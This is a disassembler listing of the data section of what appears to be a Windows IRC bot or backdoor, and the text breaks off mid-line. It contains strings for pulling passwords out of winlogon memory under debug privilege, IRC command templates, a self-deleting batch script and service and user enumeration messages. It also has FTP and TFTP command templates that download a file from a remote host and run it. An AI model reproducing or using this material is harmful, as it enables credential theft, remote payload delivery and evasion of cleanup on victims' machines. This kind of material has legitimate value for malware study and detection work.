6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h, 234032Dh, 646E6966h, 73736170h, 202D0302h, 6C696166h dd 74206465h, 6E65206Fh, 656C6261h, 62656420h, 70206775h dd 69766972h, 6567656Ch, 0 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 62616E75h dd 7420656Ch, 6966206Fh, 7720646Eh, 6F6C6E69h, 206E6F67h dd 646970h, 234032Dh, 646E6966h, 73736170h, 202D0302h dd 62616E75h, 7420656Ch, 6966206Fh, 7420646Eh, 70206568h dd 77737361h, 2064726Fh, 6D206E69h, 726F6D65h, 79h, 0 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 206F6E28h dd 73736170h, 64726F77h, 2E2929h, 530055h, 520045h, 4F0044h dd 41004Dh, 4E0049h, 0 aUsername: unicode 0, <USERNAME>,0 align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 align 10h aNtdll_dll db 'NTDLL.DLL',0 align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41C444+5Co ; sub_41C444+1E5o align 10h dword_4371F0 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 796C6E6Fh dd 70757320h, 74726F70h, 6F206465h, 6977206Eh, 2F746E6Eh dd 326E6977h, 6Bh, 7536h, 7535h, 7C75347Ch, 0 a4you db '{4you}',0 ; DATA XREF: seg002:00443360o align 4 a4us db '|4us|',0 ; DATA XREF: seg002:0044335Co align 10h aSex4free db '|sex4free|',0 ; DATA XREF: seg002:00443358o align 4 aLoloA db 'lolo|a|',0 ; DATA XREF: seg002:00443354o aLol db 'lol',0 ; DATA XREF: seg002:00443350o aTot db 'tot',0 ; DATA XREF: seg002:0044334Co aMofo db 'mofo',0 ; DATA XREF: seg002:00443348o align 4 aMof0 db 'mof0',0 ; DATA XREF: seg002:00443344o align 4 aMuha db 'muha',0 ; DATA XREF: seg002:00443340o align 4 aYeah db 'yeah',0 ; DATA XREF: seg002:0044333Co align 4 aAha db 'aha',0 ; DATA XREF: seg002:00443338o aShit db 'shit',0 ; DATA XREF: seg002:00443334o align 4 aGurl db 'gurl',0 ; DATA XREF: seg002:00443330o align 10h aGirl db 'GIRL',0 ; DATA XREF: seg002:0044332Co align 4 aBoy db 'BOY',0 ; DATA XREF: seg002:00443328o aFree db 'Free',0 ; DATA XREF: seg002:00443314o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: seg002:00443310o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: seg002:00443304o align 4 aF db '^^^f^',0 ; DATA XREF: seg002:004432F8o align 10h aSad db 'Sad',0 ; DATA XREF: seg002:004432F4o aLuvu db 'LUVU',0 ; DATA XREF: seg002:004432F0o align 4 a___0 db '_|_',0 ; DATA XREF: seg002:004432D4o aBbl db '|bbl',0 ; DATA XREF: seg002:004432C8o align 4 off_4372D8 dd offset loc_425241+1 ; DATA XREF: seg002:004432C4o aMuckc db 'muckc',0 ; DATA XREF: seg002:004432B0o align 4 aTruck db 'truck',0 ; DATA XREF: seg002:004432ACo align 4 aTrimy db 'trimy',0 ; DATA XREF: seg002:004432A8o align 4 aLuvy db 'luvy',0 ; DATA XREF: seg002:004432A4o align 4 aUi db 'ui',0 ; DATA XREF: seg002:004432A0o align 10h aSdf db 'sdf',0 ; DATA XREF: seg002:0044329Co aRt db 'rt',0 ; DATA XREF: seg002:00443298o align 4 aGf db 'gf',0 ; DATA XREF: seg002:00443294o align 4 aTy db 'ty',0 ; DATA XREF: seg002:00443290o align 10h aRg db 'rg',0 ; DATA XREF: seg002:0044328Co align 4 aHappy db 'happy',0 ; DATA XREF: seg002:00443288o align 4 aRs db 'rs',0 ; DATA XREF: seg002:00443268o align 10h aQ8A db '|q8|a',0 ; DATA XREF: seg002:00443220o align 4 aQ8 db 'Q8',0 ; DATA XREF: seg002:0044321Co align 4 aSick db 'sick}}',0 ; DATA XREF: seg002:00443218o align 4 aWiked db '|wiked|',0 ; DATA XREF: seg002:00443214o aLuvuF db '||luvu-f|',0 ; DATA XREF: seg002:00443210o align 4 aGens db '{gens|',0 ; DATA XREF: seg002:0044320Co align 10h aSex_0 db '{sex}',0 ; DATA XREF: seg002:00443208o align 4 aHub db '{hub}',0 ; DATA XREF: seg002:00443204o align 10h aLuck db '|luck|',0 ; DATA XREF: seg002:00443200o align 4 aSuck db '|suck|',0 ; DATA XREF: seg002:004431FCo align 10h aTot_0 db '-|tot|',0 ; DATA XREF: seg002:004431F8o align 4 aWoh db '|woh|',0 ; DATA XREF: seg002:004431F4o align 10h aTambe db '|tambe|',0 ; DATA XREF: seg002:004431F0o aLag db 'lag',0 ; DATA XREF: seg002:004431ECo aBad db 'bad',0 ; DATA XREF: seg002:004431E8o aTree db 'tree',0 ; DATA XREF: seg002:004431E4o align 4 aZex db 'zex',0 ; DATA XREF: seg002:004431E0o aLez db 'lez',0 ; DATA XREF: seg002:004431DCo aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: seg002:004431D4o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: seg002:004431D0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: seg002:004431CCo align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: seg002:004431C8o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: seg002:004431C4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: seg002:004431C0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: seg002:004431BCo align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: seg002:004431B8o align 4 aCem39 db 'cem39',0 ; DATA XREF: seg002:004431B4o align 10h aCool30m db 'cool30m',0 ; DATA XREF: seg002:004431B0o aTropikal db 'tropikal',0 ; DATA XREF: seg002:004431ACo align 4 aPassenger db 'passenger',0 ; DATA XREF: seg002:004431A8o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: seg002:004431A4o align 4 aUla db 'ula',0 ; DATA XREF: seg002:004431A0o aIzmirlm db 'izmirlm',0 ; DATA XREF: seg002:0044319Co aAkden db 'akden',0 ; DATA XREF: seg002:00443198o align 10h aKoray db 'KORAY',0 ; DATA XREF: seg002:00443194o align 4 aAta29 db 'Ata29',0 ; DATA XREF: seg002:00443190o align 10h aFirtina db 'firtina',0 ; DATA XREF: seg002:0044318Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: seg002:00443188o aM41ist db 'M41IST',0 ; DATA XREF: seg002:00443184o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: seg002:00443180o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: seg002:0044317Co align 4 aAnkm db 'ankM',0 ; DATA XREF: seg002:00443178o align 4 aErkan db 'erkan',0 ; DATA XREF: seg002:00443174o align 4 aDevre db 'devre',0 ; DATA XREF: seg002:00443170o align 4 aYabanc db 'yabanc',0 ; DATA XREF: seg002:0044316Co align 4 aBirsen db 'birsen',0 ; DATA XREF: seg002:00443168o align 4 aA44m db 'a44m',0 ; DATA XREF: seg002:00443164o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: seg002:00443160o align 4 off_4374B8 dd offset byte_4B5245 ; DATA XREF: seg002:0044315Co aSevda db 'sevda',0 ; DATA XREF: seg002:00443158o align 4 aKotan db 'kotan',0 ; DATA XREF: seg002:00443154o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: seg002:00443150o align 4 aAchilles db 'Achilles',0 ; DATA XREF: seg002:0044314Co align 10h aKapk db 'kapk',0 ; DATA XREF: seg002:00443148o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: seg002:00443144o align 4 aHayran db 'hayran',0 ; DATA XREF: seg002:00443140o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: seg002:0044313Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: seg002:00443138o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: seg002:00443134o aAnk32M db 'ANK-32-M',0 ; DATA XREF: seg002:00443130o align 4 aUmut db 'umut-',0 ; DATA XREF: seg002:0044312Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: seg002:00443128o align 4 aKumul db 'kumul',0 ; DATA XREF: seg002:00443124o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: seg002:00443120o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: seg002:0044311Co align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: seg002:00443118o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: seg002:00443114o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: seg002:00443110o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: seg002:0044310Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: seg002:00443108o aHoly db 'holy',0 ; DATA XREF: seg002:00443104o align 10h aFlord db 'FLoRD',0 ; DATA XREF: seg002:00443100o align 4 aKebikec db 'kebikec',0 ; DATA XREF: seg002:004430FCo aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: seg002:004430F8o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: seg002:004430F4o align 4 aEmre db 'Emre--',0 ; DATA XREF: seg002:004430F0o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: seg002:004430ECo align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: seg002:004430E8o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: seg002:004430E4o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: seg002:004430E0o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: seg002:004430DCo aArda db 'arda',0 ; DATA XREF: seg002:004430D8o align 4 aDevran db 'devran',0 ; DATA XREF: seg002:004430D4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: seg002:004430D0o aDenizlim db 'DenizliM',0 ; DATA XREF: seg002:004430CCo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: seg002:004430C8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: seg002:004430C4o align 10h aBogac db 'bogac',0 ; DATA XREF: seg002:004430C0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: seg002:004430BCo align 4 aAnkh db 'ankh',0 ; DATA XREF: seg002:004430B8o align 4 off_43764C dd offset byte_457441 ; DATA XREF: seg002:004430B4o aAyla db 'AYLA-',0 ; DATA XREF: seg002:004430B0o align 4 aAlbina db 'albina',0 ; DATA XREF: seg002:004430ACo align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: seg002:004430A8o align 4 aZack db 'ZACK',0 ; DATA XREF: seg002:004430A4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: seg002:004430A0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: seg002:0044309Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: seg002:00443098o align 4 aPelincik db 'pelincik',0 ; DATA XREF: seg002:00443094o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: seg002:00443090o align 4 aRetg db 'RETG',0 ; DATA XREF: seg002:0044308Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: seg002:00443088o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: seg002:00443084o aAslii db 'aslii',0 ; DATA XREF: seg002:00443080o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: seg002:0044307Co aHaticem db 'haticem',0 ; DATA XREF: seg002:00443078o aArzu db 'ARZU',0 ; DATA XREF: seg002:00443074o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: seg002:00443070o aSevmekmi db 'sevmekmi',0 ; DATA XREF: seg002:0044306Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: seg002:00443068o align 10h aTekir db 'tekir',0 ; DATA XREF: seg002:00443064o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: seg002:00443060o align 4 aTrend3 db 'trend3',0 ; DATA XREF: seg002:0044305Co align 4 aMelekk db 'melekk',0 ; DATA XREF: seg002:00443058o align 4 aAkin db 'AKIN',0 ; DATA XREF: seg002:00443054o align 4 aMary_0 db 'MARY',0 ; DATA XREF: seg002:00443050o align 4 aJericho db 'JERICHO',0 ; DATA XREF: seg002:0044304Co aTolga34 db 'Tolga34',0 ; DATA XREF: seg002:00443048o aMisssunday db 'misssunday',0 ; DATA XREF: seg002:00443044o align 10h aIrmal db 'irmal',0 ; DATA XREF: seg002:00443040o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: seg002:0044303Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: seg002:00443038o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: seg002:00443034o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: seg002:00443030o aKaan38dent db 'kaan38dent',0 ; DATA XREF: seg002:0044302Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: seg002:00443028o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: seg002:00443024o align 4 aKencing db 'Kencing',0 ; DATA XREF: seg002:00443020o aReshma db 'reshma',0 ; DATA XREF: seg002:0044301Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: seg002:00443018o align 4 aGirl_0 db 'GirL',0 ; DATA XREF: seg002:00443014o align 4 aImra db 'imra',0 ; DATA XREF: seg002:00443010o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: seg002:0044300Co align 4 aPuregold db 'puregold',0 ; DATA XREF: seg002:00443008o align 4 aKermit db 'kermit',0 ; DATA XREF: seg002:00443004o align 4 aManee db 'manee',0 ; DATA XREF: seg002:00443000o align 4 aTroller db 'troller',0 ; DATA XREF: seg002:00442FFCo aLuisa db 'Luisa',0 ; DATA XREF: seg002:00442FF8o align 4 aNastysha db 'nastysha',0 ; DATA XREF: seg002:00442FF4o align 10h aRimpy db 'rimpy',0 ; DATA XREF: seg002:00442FF0o align 4 aJanno db 'janno',0 ; DATA XREF: seg002:00442FECo align 10h aBunty db 'bunty',0 ; DATA XREF: seg002:00442FE8o align 4 aHeval db 'heval',0 ; DATA XREF: seg002:00442FE4o align 10h aCme db 'cme',0 ; DATA XREF: seg002:00442FE0o aMarcy db 'marcy',0 ; DATA XREF: seg002:00442FDCo align 4 aTalika db 'talika',0 ; DATA XREF: seg002:00442FD8o align 4 aShez db 'Shez',0 ; DATA XREF: seg002:00442FD4o align 4 aKen db 'ken',0 ; DATA XREF: seg002:00442FD0o aFlexster db 'flexster',0 ; DATA XREF: seg002:00442FCCo align 4 aKoko db 'koko',0 ; DATA XREF: seg002:00442FC8o align 4 aMale db 'male',0 ; DATA XREF: seg002:00442FC4o align 4 aSwin db 'swin',0 ; DATA XREF: seg002:00442FC0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: seg002:00442FBCo aKrizha db 'KRIZHA',0 ; DATA XREF: seg002:00442FB8o align 4 aEmilya db 'emilya',0 ; DATA XREF: seg002:00442FB4o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: seg002:00442FB0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: seg002:00442FACo aFarooq db 'farooq',0 ; DATA XREF: seg002:00442FA8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: seg002:00442FA4o align 4 aM_1: ; DATA XREF: seg002:00442FA0o ; seg002:004432ECo unicode 0, <M>,0 aN_0: ; DATA XREF: seg002:00442F9Co unicode 0, <N>,0 aB: ; DATA XREF: seg002:00442F98o unicode 0, <B>,0 aV_0: ; DATA XREF: seg002:00442F94o unicode 0, <V>,0 aC_3: ; DATA XREF: seg002:00442F90o unicode 0, <C>,0 asc_4378C8: ; DATA XREF: seg002:00442F8Co ; seg002:00443320o unicode 0, <X>,0 aZ: ; DATA XREF: seg002:00442F88o unicode 0, <Z>,0 asc_4378D0: ; DATA XREF: seg002:00442F84o unicode 0, <L>,0 aK_0: ; DATA XREF: seg002:00442F80o unicode 0, <K>,0 aJ_0: ; DATA XREF: seg002:00442F7Co unicode 0, <J>,0 asc_4378DC: ; DATA XREF: seg002:00442F78o unicode 0, <H>,0 aG: ; DATA XREF: seg002:00442F74o unicode 0, <G>,0 aF_0: ; DATA XREF: seg002:00442F70o ; seg002:004432E8o unicode 0, <F>,0 aD_2: ; DATA XREF: seg002:00442F6Co unicode 0, <D>,0 aS_10: ; DATA XREF: seg002:00442F68o unicode 0, <S>,0 aP_0: ; DATA XREF: seg002:00442F60o unicode 0, <P>,0 aO_0: ; DATA XREF: seg002:00442F5Co unicode 0, <O>,0 aU_0: ; DATA XREF: seg002:00442F54o unicode 0, <U>,0 aY: ; DATA XREF: seg002:00442F50o unicode 0, <Y>,0 aT_0: ; DATA XREF: seg002:00442F4Co unicode 0, <T>,0 aR_0: ; DATA XREF: seg002:00442F48o unicode 0, <R>,0 aE_0: ; DATA XREF: seg002:00442F44o unicode 0, <E>,0 aW: ; DATA XREF: seg002:00442F40o unicode 0, <W>,0 aQ_0: ; DATA XREF: seg002:00442F3Co unicode 0, <Q>,0 aB_0: ; DATA XREF: seg002:00442F30o ; seg002:00443224o ... unicode 0, <b>,0 asc_437918: ; DATA XREF: seg002:00442F24o ; seg002:0044327Co unicode 0, <x>,0 aZ_0: ; DATA XREF: seg002:00442F20o ; seg002:00443284o ... unicode 0, <z>,0 asc_437920: ; DATA XREF: seg002:00442F10o ; seg002:0044323Co unicode 0, <h>,0 aG_0: ; DATA XREF: seg002:00442F0Co ; seg002:00443238o ... unicode 0, <g>,0 aF_1: ; DATA XREF: seg002:00442F08o ; seg002:00443234o unicode 0, <f>,0 aY_0: ; DATA XREF: seg002:00442EECo ; seg002:00443280o unicode 0, <y>,0 aW_0: ; DATA XREF: seg002:00442EDCo ; seg002:00443278o unicode 0, <w>,0 align 8 dbl_437938 dq -1.52587890625e-4 ; DATA XREF: sub_41A293+3EFr dbl_437940 dq 3.0517578125e-4 ; DATA XREF: sub_41A293+3CFr dbl_437948 dq -3.0517578125e-4 ; DATA XREF: sub_41A293+34Cr ; sub_41A293+3B1r dbl_437950 dq 1.52587890625e-4 ; DATA XREF: sub_41A293+27Er dbl_437958 dq -1.739501953125e-3 ; DATA XREF: sub_41A293+258r ; sub_41A293+2E8r ... dbl_437960 dq 3.11279296875e-3 ; DATA XREF: sub_41A293+E0r a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_41A293+BAo ; sub_41A293+17Cr ... align 8 dbl_437978 dq 3.0517578125e-5 ; DATA XREF: sub_41A293+ACr ; sub_41A293+139r ... dbl_437980 dq 6.103515625e-5 ; DATA XREF: sub_41A293+90r ; sub_41A293+317r dbl_437988 dq 2.288818359375e-3 ; DATA XREF: sub_41A293+21r aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_41A6AE+C1o align 4 a432 db '432',0 ; DATA XREF: sub_41A6AE+86o aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_41A6AE+65o align 4 aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: seg000:0041A83Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41ACD0+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41AE17+1Ao align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41AEBB+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41AEDD+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41AEDD+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41AEDD+48o align 10h unk_437A80 db 2Dh ; - ; DATA XREF: sub_41B065+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h unk_437AB0 db 2Dh ; - ; DATA XREF: sub_41B065+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_437AD8 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_41B065+5Co dd 65726165h, 64h, 0 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_41B128+C2o db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_41B128+94o align 10h dbl_437B70 dq -3.0517578125e-5 ; DATA XREF: sub_41B325+2Br aContinued db 'Continued',0 align 4 aContinue_0 db 'Continue',0 align 10h aPaused_0 db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 10h aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:00443434o aStop_0 db 'Stop',0 ; DATA XREF: seg002:00443430o align 10h aStarted db 'Started',0 ; DATA XREF: seg002:00443428o aStart_0 db 'Start',0 ; DATA XREF: seg002:00443424o align 10h aListed db 'Listed',0 ; DATA XREF: seg002:0044341Co align 4 aList_1 db 'List',0 ; DATA XREF: seg002:00443418o align 10h aDeleted db 'Deleted',0 ; DATA XREF: seg002:00443410o aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0044340Co align 10h aAdded db 'Added',0 ; DATA XREF: seg002:off_443404o align 4 aAdd db 'Add',0 ; DATA XREF: seg002:off_443400o aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41B507+128o align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_41B507:loc_41B61Bo align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_41B507:loc_41B614o align 8 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_41B507:loc_41B60Do db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_41B507:loc_41B606o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_41B507:loc_41B5FFo db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_41B507:loc_41B5F8o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_41B507:loc_41B5F1o align 8 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_41B507:loc_41B5EAo align 10h aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_41B507:loc_41B5E3o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_41B507:loc_41B5DCo align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_41B507:loc_41B5B1o align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_41B507:loc_41B5AAo db ' the service.',0 align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_41B507:loc_41B5A3o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_41B507:loc_41B59Co align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_41B507+8Bo align 8 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_41B507:loc_41B571o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_41B507:loc_41B567o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_41B507:loc_41B55Do aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_41B507:loc_41B553o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_41B507:loc_41B549o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_41B507+38o align 4 aSSS_3 db '%s: %s (%s)',0 ; DATA XREF: sub_41B681+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_41B681:loc_41B750o aStarting db ' Starting',0 ; DATA XREF: sub_41B681:loc_41B749o aStoping db ' Stoping',0 ; DATA XREF: sub_41B681:loc_41B742o aRunning db ' Running',0 ; DATA XREF: sub_41B681:loc_41B73Bo aContinuing db ' Continuing',0 ; DATA XREF: sub_41B681:loc_41B734o aPausing db ' Pausing',0 ; DATA XREF: sub_41B681:loc_41B72Do aPaused db ' Paused',0 ; DATA XREF: sub_41B681:loc_41B726o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41B681+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41B681+25o align 4 unk_438134 db 2Dh ; - ; DATA XREF: sub_41B98C+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41B98C+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41B98C+33Fo align 10h aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41B98C+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41B98C+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41B98C+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41B98C+299o align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41B98C+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41B98C+246o align 10h aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41B98C+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41B98C+1F3o align 10h aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41B98C+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41B98C+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41B98C+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41B98C+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41B98C+125o aGuest db 'Guest',0 ; DATA XREF: sub_41B98C:loc_41BAA5o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_41B98C:loc_41BA9Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_41B98C:loc_41BA97o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41B98C+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41B98C+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41B98C+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_41B98C+50o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE73o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41BD5A:loc_41BE6Co align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE65o align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BE5Eo align 10h aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_41BD5A:loc_41BE57o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41BD5A:loc_41BE3Ao db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE33o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE2Co align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41BD5A+CBo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41BD5A:loc_41BE01o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDFAo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41BD5A:loc_41BDF3o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41BD5A:loc_41BDE9o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41BD5A+85o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDC3o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41BD5A:loc_41BDB9o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41BD5A:loc_41BDAFo align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41BD5A:loc_41BDA5o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41BD5A:loc_41BD9Bo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41BD5A+37o align 10h dword_4385A0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_41BE8A+A4o dd 3A037265h, 20532520h, 654D3403h, 67617373h, 